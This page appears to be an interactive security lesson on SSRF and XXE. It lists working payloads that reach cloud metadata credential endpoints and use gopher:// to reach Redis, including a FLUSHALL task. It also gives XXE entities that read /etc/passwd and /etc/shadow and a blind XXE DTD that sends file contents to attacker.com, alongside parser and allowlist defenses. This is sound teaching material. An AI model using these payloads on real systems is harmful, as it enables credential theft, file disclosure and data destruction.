SSRF & XXE: Server-Side Request & XML Injection

Learn to identify and exploit Server-Side Request Forgery (SSRF) to access internal services and cloud metadata, and XML External Entity (XXE) injection to read local files and conduct SSRF.

Hard 65m 3 tasks

Learning Objectives

  • Exploit SSRF to access internal services and AWS metadata
  • Bypass SSRF filters: IP obfuscation, DNS rebinding, URL schemes
  • Exploit XXE to read local files and conduct SSRF
  • Identify and exploit blind SSRF via out-of-band interaction
  • Implement SSRF and XXE defenses

Server-Side Request Forgery (SSRF)

What is SSRF?

The server fetches a URL on behalf of the user — attacker controls the URL:

User → App (fetch URL) → [URL controlled by attacker]
                  ↓
           Can target internal services!

Example vulnerable endpoint:

# Web app fetches URL from user input
url = request.POST.get("url")
response = requests.get(url)   # SSRF!
return response.content

Basic SSRF Attacks

# Access localhost
http://localhost/admin
http://127.0.0.1/admin
http://127.0.0.1:8080/internal-api

# Access internal network
http://192.168.1.1/admin       (router admin panel)
http://10.0.0.1/metrics        (internal Prometheus)
http://172.16.0.1/             (internal services)

# Port scanning via SSRF
http://internal-server:22      (SSH  response/time reveals if port open)
http://internal-server:3306    (MySQL)
http://internal-server:6379    (Redis  can issue Redis commands!)

Cloud Metadata Service (Critical!)

AWS IMDSv1 (Instance Metadata Service):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole
→ Returns: AccessKeyId, SecretAccessKey, Token (AWS credentials!)

GCP:
http://metadata.google.internal/computeMetadata/v1/instance/
Header required: Metadata-Flavor: Google

Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header required: Metadata: true

Impact: steal cloud IAM credentials → full cloud account takeover
AWS IMDSv2 mitigates: requires PUT request first (harder to SSRF)

SSRF Filter Bypass

1. IP address formats
   http://0177.0.0.1/          (octal: 127.0.0.1)
   http://0x7f.0x0.0x0.0x1/   (hex)
   http://2130706433/          (decimal: 127.0.0.1)
   http://127.1/               (short form)

2. DNS rebinding
   attacker.com  first resolves to allowed IP (bypass check)
                 then resolves to 127.0.0.1 (actual fetch)
   [Check and fetch happen at different times]

3. URL scheme confusion
   file:///etc/passwd          (read local files)
   dict://127.0.0.1:11211/     (Memcached)
   gopher://127.0.0.1:6379/_REDIS_COMMAND  (Redis via gopher)
   sftp://attacker.com/        (credential leak via SFTP)

4. URL redirect
   Attacker hosts: https://evil.com/redir  302 to http://127.0.0.1/admin
   App fetches evil.com  follows redirect to internal!

5. DNS open resolver
   nip.io: 127-0-0-1.nip.io resolves to 127.0.0.1
   xip.io: 127.0.0.1.xip.io resolves to 127.0.0.1

Blind SSRF

No response reflected — use out-of-band (OOB) detection:

# Attacker's Burp Collaborator/interactsh URL:
# Submit URL: http://YOUR_COLLABORATOR_URL
# If you receive a DNS or HTTP request → SSRF confirmed

# Tools:
# Burp Suite Collaborator (Pro)
# interact.sh — free: https://app.interactsh.com
# RequestBin
# canarytokens.org

# Exploit:
http://169.254.169.254/latest/meta-data/iam/security-credentials/RoleName
# If blind: use Burp Collaborator, watch for callback with credentials

SSRF Defense

# Allowlist (preferred):
ALLOWED_DOMAINS = {"api.partner.com", "cdn.trusted.com"}
parsed = urllib.parse.urlparse(url)
if parsed.hostname not in ALLOWED_DOMAINS:
    raise ValueError("URL not allowed")

# Block internal ranges:
import ipaddress, socket
ip = socket.gethostbyname(parsed.hostname)
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
    raise ValueError("Internal IP not allowed")
# Note: check IP after DNS resolution, not URL string (bypass: DNS rebinding)

# Disable redirects:
requests.get(url, allow_redirects=False)

# Use IMDSv2 on AWS (requires token, prevents simple SSRF):
# Enforce: aws ec2 modify-instance-metadata-options --instance-id i-xxx --http-tokens required

XML External Entity (XXE) Injection

What is XXE?

XML parsers support external entity references — attacker injects:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data><name>&xxe;</name></data>

XML parser reads /etc/passwd, replaces &xxe; with contents, includes in response.

XXE Attack Types

<!-- 1. Read local file -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<name>&xxe;</name>

<!-- 2. SSRF via XXE -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<name>&xxe;</name>

<!-- 3. Blind XXE (OOB) — no response reflected -->
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<name>&exfil;</name>

<!-- evil.dtd on attacker.com: -->
<!ENTITY % all "<!ENTITY exfil SYSTEM 'http://attacker.com/exfil?f=%file;'>">
%all;

<!-- 4. XInclude (when you don't control the DOCTYPE) -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

<!-- 5. XXE via SVG upload -->
<!-- Upload an SVG file with XXE payload — server parses it -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/shadow">]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>

XXE Defense

# Python lxml — disable entities:
from lxml import etree

parser = etree.XMLParser(
    resolve_entities=False,   # disable external entities
    no_network=True,          # no network access
    load_dtd=False,           # don't load DTDs
)
tree = etree.parse(xml_file, parser)

# Python defusedxml — safe by default:
import defusedxml.ElementTree as ET
tree = ET.parse(xml_file)   # safe — blocks XXE by default

# Java: disable external entities in DocumentBuilderFactory:
dbf = DocumentBuilderFactory.newInstance()
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", True)
dbf.setFeature("http://xml.org/sax/features/external-general-entities", False)
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", False)

On a local Flask app with a URL-fetching endpoint (/fetch?url=): (1) test SSRF to http://127.0.0.1/admin, (2) try IP obfuscation bypass: http://0177.0.0.1/, (3) simulate AWS metadata fetch: http://169.254.169.254/latest/meta-data/ (if in AWS, use this; otherwise document what would be exposed), (4) implement IP allowlist defense, (5) block private IP ranges after DNS resolution.

✦ Answer the questions to complete this task

Why is SSRF against AWS IMDSv1 especially critical?

What is DNS rebinding and why does it bypass SSRF filters?

Test an XML-processing endpoint for XXE: (1) send a basic XXE payload to read /etc/hostname, (2) try XInclude in case DOCTYPE is filtered, (3) attempt blind XXE with a collaborator URL, (4) try XXE via SVG file upload, (5) implement the fix: use defusedxml.ElementTree instead of xml.etree.ElementTree and verify all XXE payloads are blocked.

✦ Answer the questions to complete this task

Why is defusedxml safer than Python's built-in xml.etree.ElementTree?

Chain SSRF with internal service access: (1) find SSRF in a file preview feature, (2) use SSRF to reach an internal Redis server at 127.0.0.1:6379 via gopher://, (3) send Redis FLUSHALL command via gopher payload, (4) chain XXE to SSRF: use XXE to reach the metadata service, (5) document the attack chain and the blast radius.

✦ Answer the questions to complete this task

What is the gopher:// scheme used for in SSRF?

💪 Exercises & Challenges

📝 MCQ Medium +20 XP

SSRF & XXE MCQ

SSRF & XXE MCQ

Start →
⚙️ Practical Medium +30 XP

Full SSRF Exploitation Chain

Full SSRF Exploitation Chain

Start →
🚩 Challenge Hard +50 XP

XXE via SVG Upload

XXE via SVG Upload

Start →